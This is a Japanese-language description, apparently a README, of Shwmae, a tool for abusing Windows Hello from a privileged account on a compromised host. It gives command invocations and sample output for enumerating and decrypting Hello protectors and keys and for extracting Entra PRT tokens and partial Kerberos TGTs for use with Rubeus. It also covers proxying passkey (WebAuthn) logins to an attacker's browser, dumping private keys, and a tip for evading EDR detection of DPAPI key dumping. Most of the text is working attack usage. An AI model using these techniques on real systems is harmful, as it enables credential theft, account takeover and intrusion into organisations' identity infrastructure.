
特権コンテキストからWindows Helloを悪用し、プロテクターを列挙し、鍵を復号し、PRT/TGTトークンを抽出し、WebAuthnリクエストをプロキシし、ソフトウェアベースの秘密鍵をダンプします。
Shwmae(シュー・マイ)は、DEF CON 32 で「Abusing Windows Hello Without a Severed Hand」というトークの一環として公開された Windows Hello 悪用ツールです。このツールの目的は、特権ユーザーコンテキストから Windows Hello を悪用することです。
Shwmae
Copyright (C) 2024 Shwmae
enum (Default Verb) Enumerate Windows Hello protectors, keys and credentials
sign Sign data using a Windows Hello protected certificate
prt Obtain an Entra PRT and partial TGT usable with Rubeus
webauthn Create a webserver to proxy WebAuthn requests from an attacking host
dump Dump Windows Hello protected keys when backed by software
help Display more information on a specific command.
version Display version information.
このツールには、いくつかの操作モードがあります。
引数が指定されない場合、列挙がデフォルトモードとなります。代わりに enum コマンドを使用することもできます。列挙モードでは、利用可能なすべての Windows Hello コンテナを列挙し、コンテナ内のすべての Windows Hello 登録キーとプロテクターを再帰的に列挙します。ホストに TPM が存在しない場合、PIN プロテクターのハッシュが生成され、hashcat を使用してオフラインでクラック可能です。生体プロテクターは自動的に復号化されますが、PIN およびリカバリプロテクターは、それぞれ /pin および /token 引数を使用して復号化できます。各コンテナから1つのプロテクターのみを復号化すれば、そのコンテナ内の Windows Hello キーを悪用できるようになります。
Shwmae
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
GINGE\mary.gruber (S-1-5-21-1003644063-402998240-3342588708-1111)
Provider : Microsoft Platform Crypto Provider
Protected Recovery Key: eyJWZXJzaW9uIjoxLCJQcm90ZWN0ZW...
Recovery Key : Use /token argument to decrypt recovery key
** Protectors **
Type : Pin
Pin Type : Numeric
Length : 8
Decrypted : Supply /pin argument to attempt decryption
Type : Bio
Encryption Type: Aes
GCM Nonce : cacf46896844d3f96a55fd8c
GCM AuthData : 01000000200000000c000000b400000010000000cacf46896844d3f96a55fd8c
GCM Tag : f5d6d1c3e35f944038e03013851d6d69
Decrypted : True (Bio Key Correct)
ExtPin : 0f28b81e36b0446cf0deb9ca680c05aeb7b7129ab830936fce3836bbd520ee94
DecryptPin : c63e6e0c199cedff0a086277894f85f510305cef6d4c6ac7efc21bb122f537b1
SignPin : 855b2d32d62a4dafb50d47838d4ce13f8d7d6871718e384d6db22b407ecb05a3
Type : Recovery
IV : 49b2c5b8416e5563387e10a8a3d9ae68
** Credentials **
Resource : WinBio Key Resource
SID : S-1-5-21-1003644063-402998240-3342588708-1111
Protector Key : 59e87b8c63973fb3bfd322016a61e33b59a569c22f9aad22d4c91b6db75bcf52
** Keys **
Name : login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected]
Provider : Microsoft Platform Crypto Provider
Key Id : {B8EF94E6-23EE-42D3-B8DB-BC0AC5EF1824}
Key File : 1d3ddd8ac0d04ae299673cd1ffb19b90cc2e277d.PCPKEY
Azure Tenant Id : de60a4fa-d583-4eb0-ab66-ce358af8279c
Azure User : [email protected]
Azure kid : l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw=
Name : FIDO_AUTHENTICATOR//3aeb002460381c6f258e8395d3026f571f0d9a76488dcd837639b13aed316560_fda42d8889ba587fc7fa202a2e6d91ffad4642abb9c2bd75ea9f906be188925126bdf07d591267672cc2fa79b0750de2437b1d77d6f924af1b4992f4e3527bb0
Provider : Microsoft Platform Crypto Provider
Key Id : {36E18DBB-52AC-4198-BD34-55B3490A575C}
Key File : 979dffb30e1a28d7d6c6c1a5e55c383db8d04dbd.PCPKEY
FIDO Relay Party : github.com
FIDO Public Key : RUNTMSAAAADkOpq228W7gXH3VTLeCwScNAyJHFmchJjCZass71QHqCyStIrQWry6m-5XK8HTAdU31UXmkuEI6fjdSmGOtWGR
FIDO Cred Id : qhdzMrPMlH-Fg_sdpNiKhuVpnSd__p1vDN41O3Ip3co
FIDO User Id : _aQtiIm6WH_H-iAqLm2R_61GQqu5wr116q-Qa-GIklEmvfB9WRJnZyzC-nmwdQ3iQ3sdd9b5JK8bSZL041J7sA
FIDO User : mary-gruber
FIDO Display Name: mary-gruber
FIDO Sign Count : 2
Name : //9DDC52DB-DC02-4A8C-B892-38DEF4FA748F (Vault Key)
Provider : Microsoft Software Key Storage Provider
Key Id : {7418B315-A00B-4113-A0EC-5C51718D11C5}
Key File : fc65330b205c133f00d035ea9e8dfba6_2a155d6c-838c-43f5-b943-b21cc30532d7
Name : //CA00CFA8-EB0F-42BA-A707-A3A43CDA5BD9
Provider : Microsoft Software Key Storage Provider
Key Id : {696644C4-EA34-400C-99D2-8B5E38095AA6}
Key File : c4b537d879e21b5d6f797517912be27b_2a155d6c-838c-43f5-b943-b21cc30532d7
PRT 操作モードは、prt コマンドを介して、Entra に登録された Windows Hello キーを利用することにより、初期 PRT の生成と既存 PRT の更新を容易にします。テナントでクラウドトラストが有効になっている場合、クラウド TGT が復号化され、Rubeus を使用してオンプレミスの Active Directory に対してユーザーとして認証するために使用できます。
Shwmae prt --sid S-1-5-21-1003644063-402998240-3342588708-1111
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] Found Azure key with UPN [email protected] and kid l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw=
[+] Successfully decrypted NGC key set from protector type Bio
Transport Key : SK-4eed430d-3568-3005-69ca-6967fac4ba9c
PRT : 0.AS8A-qRg3oPVsE6rZs41ivgnnIc7qjhtoBdIsnV6MWmI2TsvABc.AgABAwEAAAA....xDuWvx
PRT Session Key : AQCeykYwMRUg0d.....uOteU9zR8tCw
PRT Random Ctx : 71f7b1a2f4a53a55f39254d3970727104b4d6557040e2b8f
PRT Derived Key : 8314d5d03cfcda825edd2f145083504ccef698beb3beff78658240e96158fee0
Partial TGT : doIGEjCCBg6gAwIBBaEDAgEWooIE4TC...TZaowUCAwwWuw==
PRT の更新には、初期 PRT 要求からの PRT とセッションキーが必要です。
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
Transport Key : SK-4eed430d-3568-3005-69ca-6967fac4ba9c
PRT : 0.AS8A-qRg3oPVsE6rZs41ivgnnIc7qjhtoBdIsnV6MWmI2TsvABc.AgABAwEAAAA....xDuWvx
PRT Session Key : AQCeykYwMRUg0d.....uOteU9zR8tCw
PRT Random Ctx : 71f7b1a2f4a53a55f39254d3970727104b4d6557040e2b8f
PRT Derived Key : 8314d5d03cfcda825edd2f145083504ccef698beb3beff78658240e96158fee0
Partial TGT : doIGEjCCBg6gAwIBBaEDAgEWooIE4TC...TZaowUCAwwWuw==
WebAuthn 操作モードは、webauthn コマンドを介して、別のホストから ShwmaeExt Web ブラウザ拡張機能からの WebAuthn アサーション要求を受け入れるシンプルな Web API をセットアップします。侵害されたホスト上に WebAuthn HTTP リスナー(デフォルトではポート 8000 で待ち受け)がセットアップされると、攻撃側のブラウザに ShwmaeExt をインストールできます。拡張機能内でリスナー URL を設定すると、侵害されたホストから利用可能な任意の資格情報を使用して、パスキー認証でログインできるようになります。展開された拡張機能は ShwmaeExt フォルダ内にあります。
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] WebAuthn proxy running, press enter to exit
dump コマンドは、ソフトウェアキーストレージプロバイダーによってバックアップされている Windows Hello に基づく秘密鍵を抽出するために使用できます。このモードでは、プラットフォームキーストレージプロバイダーによってバックアップされている鍵を抽出することはできません。
Shwmae.exe dump --key-name login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected]
sign コマンドは、特定の鍵を使用して任意のデータに署名するために使用できます。このモードは、ツール内に特定の統合機能が存在しないシナリオで役立ちます。--key-name 引数は、使用する特定の Windows Hello 鍵ペアを指定するために使用され、--data 引数は署名を計算するために使用されます。データは Base64 エンコードされた文字列として指定する必要がありますが、この文字列は最初にバイナリにデコードされてから署名が生成されます。バイナリ署名は Base64 に変換され、コンソールに出力されます。
Shwmae.exe sign --key-name login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected] --data AAAAAA
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] Found key in container 1f75e567-63ab-4f90-b1f6-cfc30b399085 for user GINGE\mary.gruber (S-1-5-21-1003644063-402998240-3342588708-1111)
[+] Successfully decrypted NGC key set from protector type Bio
[+] Success:
MogfSZKrtYs9kfy0jPrVODpu4/eJfXHvGu+TQJzf9JG9JMug2+rmG7zEBuzUunMVy7jyHSBwv1eQ78yQr/G5y0VfoeKYnW5UbKuO9ZnImTuIFem4RE7RhQ84Pm4BgEQ3W16ebcf5CIHnIOZpOec6nbh7WZBIi2AG8N5fWK9itWA1Uk7j1TAFO7gCfAbrE9O6KiMLe4AAdw2vjR5s9RVqw1MdacWKOBDwGVm+VmHY6kYXSCovyWJ+ESoi75fRfRSgyPcHViNOP77pnUDOeMfl9nsE6C0UEKSCvJ+GGJy3u5uiK5fC1w73TG8s/Y2O6YSJpjnXqC5ZJhrE/vLtJNtGWg==
一部の EDR は、LSA シークレットを読み取ることで DPAPI キーがダンプされると警告を発します。別の方法で SYSTEM アカウントの DPAPI キーを入手した場合、これらを --system-dpapi キーと --machine-dpapi キーにそれぞれ入力できます。これらのキーは、16 バイト鍵(32 文字)を表す 16 進数文字列として指定します。